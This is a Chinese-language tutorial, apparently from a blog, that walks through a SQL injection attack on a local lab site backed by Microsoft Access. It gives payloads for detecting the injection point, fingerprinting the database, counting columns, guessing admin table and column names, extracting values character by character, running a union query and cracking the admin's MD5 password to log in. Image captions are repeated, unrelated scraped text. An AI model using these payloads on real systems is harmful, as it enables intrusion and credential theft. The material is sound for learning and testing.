一、认识access数据库

先来介绍一下这个数据库,Microsoft Office Access,Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

优势:提高速度和减少代码量

缺点:数据库过大时,一般ACCESS数据库达到100M左右的时候性能就会开始下降!(例如:访问人数过多时容易造成IIS假死,过多消耗服务器资源等等)、容易出现各种因数据库刷写频率过快而引起的数据库问题、安全性比不上其他类型的数据库等。

常见的数据库和脚本语言的搭配:

1、LAMP: Linux+apache+PHP+MySQL

2、LNMP:Linux+Nginx+PHP+MySQL

3、Windows+IIS+.net+MSSql Server

4、Linux+Tomcat+JSP+MySQL

5、Linux+Tomcat+JSP+Oracle

6、asp+access

7、asp.net+MSSql Server

二、access注入的常用方法

这里我在本地搭建了一个存在注入漏洞的靶机,用到的工具是小旋风asp服务器。

源码下载:https://pan.baidu.com/s/1OOsQ2gLEG7Sb0d0ZlHlqxg 
提取码:9t3k 

易语言对access修改失败 易语言access数据库_字段

注入步骤:

1、找到注入点

我这里的注入点是 http://localhost/sql/Production/PRODUCT_DETAIL.asp?id=1139

易语言对access修改失败 易语言access数据库_access_02

2、判断是否是可注入点

先用单引号'初步判断

易语言对access修改失败 易语言access数据库_易语言对access修改失败_03

出现异常,说明存在sql注入漏洞,而且这个方法还可以从异常信息中看出网站使用的是Access数据库。

然后再使用经典命令 确认注入点:and 1=1,两边同时成立则返回数据正常,而 and 1=2则返回错误

易语言对access修改失败 易语言access数据库_字段_04

易语言对access修改失败 易语言access数据库_sql注入_05

这里已经可以确定这里就是可注入的点了。

3、判断网站数据库的类型

利用内置数据库表获取数据库类型

and (select count(*) from sysobjects)>=0
  Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
  Msysobjects为Access数据库内置表

先用and (select count(*) from sysobjects)>=0判断是否是sqlserver

易语言对access修改失败 易语言access数据库_access_06

这里说明不存在这个表,所以不是sqlserver数据库

再用and (select count(*) from msysobjects)>=0判断

易语言对access修改失败 易语言access数据库_数据库_07

这里说明存在这个表,只不过是没有权限读取而已。所以可以知道网站使用的数据库是Access

4、判断字段数量

网站的一个页面中的类容是调用的数据库中某个表的字段内容,所以这里判断的字段数量就是该页面所调用表的所有字段数量

用order by 判断字段数量

易语言对access修改失败 易语言access数据库_sql注入_08

这里判断有20个字段数,仍然页面正常。继续增大字段数

易语言对access修改失败 易语言access数据库_数据库_09

当判断字段数为23时页面出错,判断为22时刚好页面正常,所以该表的字段数为22

易语言对access修改失败 易语言access数据库_access_10

5、猜解后台管理员数据表名

常用命令:

 and exists(select * from 表名)
 and(select count(*) from 表名)>=0

常用表名:

admin、a_admin、x_admin、m_admin、adminuser、adminstrator...

我这里猜测出来的表名是 admin

易语言对access修改失败 易语言access数据库_易语言对access修改失败_11

易语言对access修改失败 易语言access数据库_字段_12

6、猜解列名(字段名)

常用的列名:

admin,password,username、admin_name、name、admin_userid、admin_id...

常用命令:

and exists(select 字段名 from 表名)
and (select count(字段名) from 表名)>=0

这里猜解的字段名为admin、password

易语言对access修改失败 易语言access数据库_access_13

易语言对access修改失败 易语言access数据库_sql注入_14

7、猜解字段内容长度

and (select top 1 len(字段名) from 表名)>1
and (select top 1 len(字段名) from 表名)>2
and (select top 1 len(字段名) from 表名)>n

n为从1开始的值,依次加1直到回显为错误,那个n值则为该列第一个变量的长度(top 1子句含义为查询结果只显示首条记录)

易语言对access修改失败 易语言access数据库_sql注入_15

易语言对access修改失败 易语言access数据库_sql注入_16

结果显示admin表中admin字段的首条数据的长度为5,password字段也用同样方法测试长度为16.

8、猜解字段内容

and (select top 1 asc(mid(列名,n,1)) from 表名) > m 
n为从1开始的值,m为从97开始的值。m依次加1,直到出现错误回显为止,则说明列中的第n个字母的ASCII码为m。 
补充: 
MID 函数用于从文本字段中提取字符: MID(column_name,start[,length]) 

易语言对access修改失败 易语言access数据库_access_17


ASC函数用于获取字符的ASCII码

易语言对access修改失败 易语言access数据库_access_18

易语言对access修改失败 易语言access数据库_易语言对access修改失败_19

结果说明admin表中admin字段的首条数据的第一个字符的ascll码为97,对应的是a。

继续测试得出admin字段的内容为admin,password字段的内容为a48e190fafc257d3,这个明显是MD5加密后的样子,解密为bendss。

所以后台管理员账号是 admin  密码是 bendss。

还有一个方法获取字段内容就是union联合查询

注意:union所连接的两个查询语句,它们所查询的字段数据一定要相同,不然会出错的!比如前面那个句子查询了一个字段,后面那个句子查了两个,那这个句子就是错的!根据union的这个性质!我们要想用union联合查询,就一定要知道注入点所对应的SQL查询语句查询了多少个字段!

http://localhost/sql/Production/PRODUCT_DETAIL.asp?id=1139  union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin 

易语言对access修改失败 易语言access数据库_字段_20

易语言对access修改失败 易语言access数据库_字段_21

9、利用该账号密码登录后台

易语言对access修改失败 易语言access数据库_易语言对access修改失败_22

易语言对access修改失败 易语言access数据库_数据库_23

登录成功,所以access注入成功,并且拿到了后台管理员的账号和密码,借此可以更进一步的进行渗透了。